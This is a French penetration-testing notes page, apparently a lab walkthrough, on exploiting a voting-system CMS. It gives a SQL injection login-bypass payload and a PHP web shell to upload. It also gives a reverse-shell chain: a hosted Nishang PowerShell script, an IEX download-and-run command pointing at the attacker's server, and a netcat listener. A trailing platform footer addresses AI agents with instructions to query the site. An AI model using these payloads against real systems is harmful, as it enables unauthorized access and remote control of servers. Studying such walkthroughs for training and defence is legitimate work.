> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/voting-system-cms-exploitation.md).

# Système de vote

## **Vulnérabilité d’injection SQL (SQLi)**

Utilisez `searchsploit` pour rechercher des vulnérabilités du système de vote et identifier le payload suivant :

<figure><img src="/files/fc36765dcdf91e96e51763fd05029a9b1eb46686" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/caff1cdc85c8f84112e233d37486f1a31ee60b99" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

Utilisez Burp Suite pour accéder au tableau de bord.

<figure><img src="/files/50c091e2b6d2561e0713fc1c8d6fca9cd3d8140c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/212eeb1c146e3c777ad3bf542566bdeb9d8d57d0" alt=""><figcaption></figcaption></figure>

## Vulnérabilité de téléversement de fichiers :

Une fois dans le tableau de bord, créez un nouvel utilisateur et téléversez `cmd.php` pour exécuter des commandes sur le serveur :

<figure><img src="/files/9bca4a4d33d8f8f4eddf6f4ccb5843ddcf0969da" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="/files/3b3a91b027a3651a00cadac1f26ecf9f49ddff3e" alt="" width="482"><figcaption></figcaption></figure>

Le panneau n’impose pas de contrôles de sécurité, ce qui permet une injection de commandes telle que `whoami`. Testez la connectivité avec une commande ping :

<figure><img src="/files/657401e18fb1cfe38bed0920183e1793a4ff7fb9" alt=""><figcaption></figcaption></figure>

Vérifiez si la cible peut envoyer un ping.

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

Le fait de recevoir une réponse confirme l’exécution de commandes sur la cible.

<figure><img src="/files/91d7a37b00fa4216bdec9f4699fd7ae29f8d0cc2" alt="" width="563"><figcaption></figcaption></figure>

**Exécution de commandes PowerShell pour un shell inversé**

Une fois l’exécution des commandes confirmée, hébergez le `PS.ps1` script sur la machine de l’attaquant.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Ajoutez la ligne suivante à la fin du script :

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="/files/024be92195cf15fe6aec836d3ce630f730d6c223" alt=""><figcaption></figcaption></figure>

Host `PS.ps1` avec un serveur web :

```bash
python3 -m http.server 80
```

Puis modifiez la commande pour qu’elle pointe vers le serveur web de l’attaquant :

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

Enfin, démarrez un écouteur sur le port 4444 :

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/30b9c511d455611f63c61530be6de0d1e2a14e83" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/voting-system-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
